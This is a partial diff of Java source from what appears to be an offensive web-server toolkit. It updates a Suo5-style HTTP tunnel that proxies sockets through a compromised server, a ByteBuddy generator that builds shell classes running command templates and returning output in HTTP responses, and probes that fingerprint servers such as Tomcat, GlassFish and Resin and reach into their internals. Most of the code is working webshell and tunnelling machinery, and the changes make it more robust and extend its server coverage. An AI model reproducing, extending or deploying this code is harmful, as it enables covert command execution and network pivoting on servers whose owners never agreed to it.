BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
|
||||||
putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue});
|
Object[] newTunnel = new Object[]{socketChannel, readQueue, writeQueue, new long[]{new Date().getTime()}};
|
||||||
if (newThread) {
|
boolean installed = false;
|
||||||
|
synchronized (ctx) {
|
||||||
|
existing = (Object[]) ctx.get(tunId);
|
||||||
|
if (existing == null) {
|
||||||
|
ctx.put(tunId, newTunnel);
|
||||||
|
installed = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!installed) {
|
||||||
|
socketChannel.close();
|
||||||
|
touchTunnel(existing);
|
||||||
|
} else if (newThread) {
|
||||||
new Thread(new Suo5v2(tunId, 1)).start();
|
new Thread(new Suo5v2(tunId, 1)).start();
|
||||||
new Thread(new Suo5v2(tunId, 2)).start();
|
new Thread(new Suo5v2(tunId, 2)).start();
|
||||||
}
|
}
|
||||||
@@ -538,8 +577,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (objs == null) {
|
if (objs == null) {
|
||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
|
touchTunnel(objs);
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isOpen()) {
|
if (!sc.isOpen()) {
|
||||||
|
// socket already closed, return silently and let performRead handle it
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -562,6 +603,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (objs == null) {
|
if (objs == null) {
|
||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
|
touchTunnel(objs);
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
||||||
@@ -589,7 +631,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
private void performDelete(String tunId) {
|
private void performDelete(String tunId) {
|
||||||
Object[] objs = (Object[]) getKey(tunId);
|
Object[] objs = (Object[]) getKey(tunId);
|
||||||
if (objs != null) {
|
if (objs != null) {
|
||||||
removeKey(tunId);
|
removeKeyIfSame(tunId, objs);
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
|
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
|
||||||
try {
|
try {
|
||||||
@@ -611,7 +653,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
return port;
|
return port;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
|
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal, Object writeLock) throws Exception {
|
||||||
try {
|
try {
|
||||||
byte[] readBuf = new byte[1024 * 8];
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
while (true) {
|
while (true) {
|
||||||
@@ -623,10 +665,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (needMarshal) {
|
if (needMarshal) {
|
||||||
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
|
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
|
||||||
}
|
}
|
||||||
outputStream.write(dataTmp);
|
if (writeLock == null) {
|
||||||
outputStream.flush();
|
writePipeData(outputStream, resp, dataTmp);
|
||||||
if (resp != null) {
|
} else {
|
||||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
synchronized (writeLock) {
|
||||||
|
writePipeData(outputStream, resp, dataTmp);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
@@ -640,6 +684,14 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void writePipeData(OutputStream outputStream, Object resp, byte[] data) throws Exception {
|
||||||
|
outputStream.write(data);
|
||||||
|
outputStream.flush();
|
||||||
|
if (resp != null) {
|
||||||
|
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
|
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
|
||||||
buffer.clear();
|
buffer.clear();
|
||||||
int bytesRead = socketChannel.read(buffer);
|
int bytesRead = socketChannel.read(buffer);
|
||||||
@@ -830,6 +882,47 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
ctx.remove(k);
|
ctx.remove(k);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private boolean removeKeyIfSame(String k, Object expected) {
|
||||||
|
synchronized (ctx) {
|
||||||
|
if (ctx.get(k) == expected) {
|
||||||
|
ctx.remove(k);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void touchTunnel(Object[] objs) {
|
||||||
|
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
long[] activity = (long[]) objs[3];
|
||||||
|
synchronized (activity) {
|
||||||
|
activity[0] = new Date().getTime();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private long getTunnelIdleMillis(Object[] objs) {
|
||||||
|
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
|
||||||
|
return Long.MAX_VALUE;
|
||||||
|
}
|
||||||
|
long[] activity = (long[]) objs[3];
|
||||||
|
synchronized (activity) {
|
||||||
|
return new Date().getTime() - activity[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean waitForTunnelCleanup(Object[] objs, BlockingQueue<byte[]> writeQueue) throws InterruptedException {
|
||||||
|
while (getKey(this.gtunId) == objs) {
|
||||||
|
long remaining = TUNNEL_IDLE_TIMEOUT_MILLIS - getTunnelIdleMillis(objs);
|
||||||
|
if (remaining <= 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
writeQueue.poll(remaining, TimeUnit.MILLISECONDS);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
private byte[] copyOfRange(byte[] original, int from, int to) {
|
private byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
int newLength = to - from;
|
int newLength = to - from;
|
||||||
if (newLength < 0) {
|
if (newLength < 0) {
|
||||||
@@ -1035,14 +1128,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// full stream
|
// full stream
|
||||||
if (this.mode == 0) {
|
if (this.mode == 0) {
|
||||||
try {
|
try {
|
||||||
pipeStream(gInStream, gOutStream, null, true);
|
pipeStream(gInStream, gOutStream, null, true, gWriteLock);
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
byte[] closeData = marshalBase64(newDel(this.gtunId));
|
||||||
|
if (gWriteLock == null) {
|
||||||
|
writePipeData(gOutStream, null, closeData);
|
||||||
|
} else {
|
||||||
|
synchronized (gWriteLock) {
|
||||||
|
writePipeData(gOutStream, null, closeData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignore) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Object[] objs = (Object[]) getKey(this.gtunId);
|
Object[] objs = (Object[]) getKey(this.gtunId);
|
||||||
if (objs == null || objs.length != 3) {
|
if (objs == null || objs.length < 3) {
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -1060,6 +1165,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (data.length == 0) {
|
if (data.length == 0) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
touchTunnel(objs);
|
||||||
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
|
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
break;
|
break;
|
||||||
@@ -1070,12 +1176,16 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
while (true) {
|
while (true) {
|
||||||
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
||||||
if (data == null) {
|
if (data == null) {
|
||||||
selfClean = true;
|
if (getTunnelIdleMillis(objs) >= TUNNEL_IDLE_TIMEOUT_MILLIS) {
|
||||||
break;
|
selfClean = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
}
|
}
|
||||||
if (data.length == 0) {
|
if (data.length == 0) {
|
||||||
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
|
// EOF keeps pending data available while the client is actively draining it.
|
||||||
if (signal == null) {
|
// An abandoned EOF tunnel is removed after the normal idle timeout.
|
||||||
|
if (getKey(this.gtunId) == objs && !waitForTunnelCleanup(objs, writeQueue)) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1089,9 +1199,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
} finally {
|
} finally {
|
||||||
if (selfClean) {
|
if (selfClean) {
|
||||||
|
if (removeKeyIfSame(this.gtunId, objs)) {
|
||||||
removeKey(this.gtunId);
|
readQueue.clear();
|
||||||
readQueue.clear();
|
}
|
||||||
}
|
}
|
||||||
writeQueue.clear();
|
writeQueue.clear();
|
||||||
try {
|
try {
|
||||||
|
|||||||
+76
-53
@@ -23,6 +23,10 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -32,10 +36,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2025/6/29
|
* @since 2025/6/29
|
||||||
*/
|
*/
|
||||||
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
|
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
|
||||||
|
private static final Map<String, Class<?>> WRITER_CLASSES = createWriterClasses();
|
||||||
|
|
||||||
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
|
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
|
||||||
super(probeConfig, probeContentConfig);
|
super(probeConfig, probeContentConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getSupportedServers() {
|
||||||
|
return new ArrayList<>(WRITER_CLASSES.keySet());
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
||||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||||
@@ -52,9 +62,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
.name(probeConfig.getShellClassName())
|
.name(probeConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||||
.visit(Advice.withCustomMapping()
|
.visit(Advice.withCustomMapping()
|
||||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||||
.to(runnerClass)
|
.to(runnerClass)
|
||||||
.on(named("run")));
|
.on(named("run")));
|
||||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||||
if (StringUtils.isNotBlank(base64Bytes)) {
|
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||||
@@ -82,35 +92,32 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
}
|
}
|
||||||
|
|
||||||
private Class<?> getWriterClass() {
|
private Class<?> getWriterClass() {
|
||||||
switch (probeContentConfig.getServer()) {
|
Class<?> writerClass = WRITER_CLASSES.get(probeContentConfig.getServer());
|
||||||
case Server.SpringWebMvc:
|
if (writerClass == null) {
|
||||||
return SpringWebMvcWriter.class;
|
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||||
case Server.Jetty:
|
|
||||||
return JettyWriter.class;
|
|
||||||
case Server.Tomcat:
|
|
||||||
case Server.JBoss:
|
|
||||||
case Server.BES:
|
|
||||||
return TomcatWriter.class;
|
|
||||||
case Server.TongWeb:
|
|
||||||
return TongWebWriter.class;
|
|
||||||
case Server.Resin:
|
|
||||||
return ResinWriter.class;
|
|
||||||
case Server.Undertow:
|
|
||||||
return UndertowWriter.class;
|
|
||||||
case Server.GlassFish:
|
|
||||||
case Server.InforSuite:
|
|
||||||
return GlassFishWriter.class;
|
|
||||||
case Server.WebSphere:
|
|
||||||
return WebSphereWriter.class;
|
|
||||||
case Server.WebLogic:
|
|
||||||
return WebLogicWriter.class;
|
|
||||||
case Server.Apusic:
|
|
||||||
return ApusicWriter.class;
|
|
||||||
case Server.Struts2:
|
|
||||||
return Struts2Writer.class;
|
|
||||||
default:
|
|
||||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
|
||||||
}
|
}
|
||||||
|
return writerClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Class<?>> createWriterClasses() {
|
||||||
|
Map<String, Class<?>> writerClasses = new LinkedHashMap<>();
|
||||||
|
writerClasses.put(Server.Tomcat, TomcatWriter.class);
|
||||||
|
writerClasses.put(Server.Jetty, JettyWriter.class);
|
||||||
|
writerClasses.put(Server.Jetty5, JettyWriter.class);
|
||||||
|
writerClasses.put(Server.Undertow, UndertowWriter.class);
|
||||||
|
writerClasses.put(Server.JBoss, TomcatWriter.class);
|
||||||
|
writerClasses.put(Server.Resin, ResinWriter.class);
|
||||||
|
writerClasses.put(Server.Resin2, Resin2Writer.class);
|
||||||
|
writerClasses.put(Server.WebLogic, WebLogicWriter.class);
|
||||||
|
writerClasses.put(Server.WebSphere, WebSphereWriter.class);
|
||||||
|
writerClasses.put(Server.GlassFish, GlassFishWriter.class);
|
||||||
|
writerClasses.put(Server.TongWeb, TongWebWriter.class);
|
||||||
|
writerClasses.put(Server.BES, TomcatWriter.class);
|
||||||
|
writerClasses.put(Server.InforSuite, GlassFishWriter.class);
|
||||||
|
writerClasses.put(Server.Apusic, ApusicWriter.class);
|
||||||
|
writerClasses.put(Server.SpringWebMvc, SpringWebMvcWriter.class);
|
||||||
|
writerClasses.put(Server.Struts2, Struts2Writer.class);
|
||||||
|
return writerClasses;
|
||||||
}
|
}
|
||||||
|
|
||||||
static class getDataFromReqInterceptor {
|
static class getDataFromReqInterceptor {
|
||||||
@@ -118,15 +125,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||||
@ValueAnnotation String name,
|
@ValueAnnotation String name,
|
||||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
|
String p = null;
|
||||||
try {
|
try {
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
} catch (Exception ignored) {
|
||||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
|
||||||
}
|
|
||||||
ret = p;
|
|
||||||
} catch (Exception e) {
|
|
||||||
ret = null;
|
|
||||||
}
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ret = p;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -135,22 +151,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||||
@ValueAnnotation String name,
|
@ValueAnnotation String name,
|
||||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
|
String p = null;
|
||||||
try {
|
try {
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
|
||||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
|
||||||
}
|
|
||||||
ret = p;
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||||
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
|
||||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
|
||||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
|
||||||
}
|
|
||||||
ret = p;
|
|
||||||
}
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||||
|
}
|
||||||
|
ret = p;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -158,7 +185,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
public @interface ValueAnnotation {
|
public @interface ValueAnnotation {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -27,6 +27,10 @@ public class ServerProbe {
|
|||||||
classNames.add(traceElement.getClassName());
|
classNames.add(traceElement.getClassName());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (classNames.contains("org.mortbay.http.HttpConnection")
|
||||||
|
|| classNames.contains("org.mortbay.http.HttpServer")) {
|
||||||
|
return ret = "Jetty5";
|
||||||
|
}
|
||||||
if (System.getProperty("jetty.home") != null
|
if (System.getProperty("jetty.home") != null
|
||||||
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
||||||
return ret = "Jetty";
|
return ret = "Jetty";
|
||||||
@@ -40,7 +44,7 @@ public class ServerProbe {
|
|||||||
if (System.getProperty("com.apusic.home") != null) {
|
if (System.getProperty("com.apusic.home") != null) {
|
||||||
return ret = "Apusic";
|
return ret = "Apusic";
|
||||||
}
|
}
|
||||||
if (System.getProperty("bes.home") != null
|
if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
|
||||||
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
|
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
|
||||||
return ret = "BES";
|
return ret = "BES";
|
||||||
}
|
}
|
||||||
@@ -54,13 +58,22 @@ public class ServerProbe {
|
|||||||
|| System.getProperty("wlp.install.dir") != null) {
|
|| System.getProperty("wlp.install.dir") != null) {
|
||||||
return ret = "WebSphere";
|
return ret = "WebSphere";
|
||||||
}
|
}
|
||||||
if (System.getProperty("resin.home") != null) {
|
if (System.getProperty("resin.home") != null
|
||||||
|
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
|
||||||
return ret = "Resin";
|
return ret = "Resin";
|
||||||
}
|
}
|
||||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
if (System.getProperty("resin.home") != null
|
||||||
|
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|
||||||
|
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
|
||||||
|
return ret = "Resin2";
|
||||||
|
}
|
||||||
|
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|
||||||
|
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
|
||||||
return ret = "SpringWebFlux";
|
return ret = "SpringWebFlux";
|
||||||
}
|
}
|
||||||
if (System.getProperty("AS_INSTALL") != null) {
|
if (System.getProperty("AS_INSTALL") != null
|
||||||
|
|| System.getProperty("com.sun.aas.installRoot") != null
|
||||||
|
|| System.getProperty("glassfish.version") != null) {
|
||||||
return ret = "GlassFish";
|
return ret = "GlassFish";
|
||||||
}
|
}
|
||||||
if (System.getProperty("jboss.home.dir") != null
|
if (System.getProperty("jboss.home.dir") != null
|
||||||
|
|||||||
+43
-1
@@ -156,7 +156,15 @@ public class GlassFishFilterProbe {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
@@ -166,6 +174,40 @@ public class GlassFishFilterProbe {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(thread, "target");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK 21+
|
||||||
|
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(target, "this$0");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = getFieldValue(atomic, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
Object base = getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
return invokeMethod(obj, methodName, null, null);
|
return invokeMethod(obj, methodName, null, null);
|
||||||
}
|
}
|
||||||
|
|||||||
+14
-1
@@ -32,7 +32,7 @@ public class GlassFishWriter {
|
|||||||
// GlassFish4+
|
// GlassFish4+
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
Object blocker = getFieldValue(thread, "blocker");
|
Object blocker = getThreadBlocker(thread);
|
||||||
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@@ -62,6 +62,19 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadBlocker(Thread thread) {
|
||||||
|
try {
|
||||||
|
return getFieldValue(thread, "blocker");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
try {
|
||||||
|
// JDK 21+
|
||||||
|
return getFieldValue(thread, "nioBlocker");
|
||||||
|
} catch (Throwable ignored2) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private boolean tryWriteRes(Object request) throws Exception {
|
private boolean tryWriteRes(Object request) throws Exception {
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
|
|||||||
+172
@@ -0,0 +1,172 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2Writer {
|
||||||
|
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public Resin2Writer() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object request = getCurrentRequest();
|
||||||
|
if (request == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
|
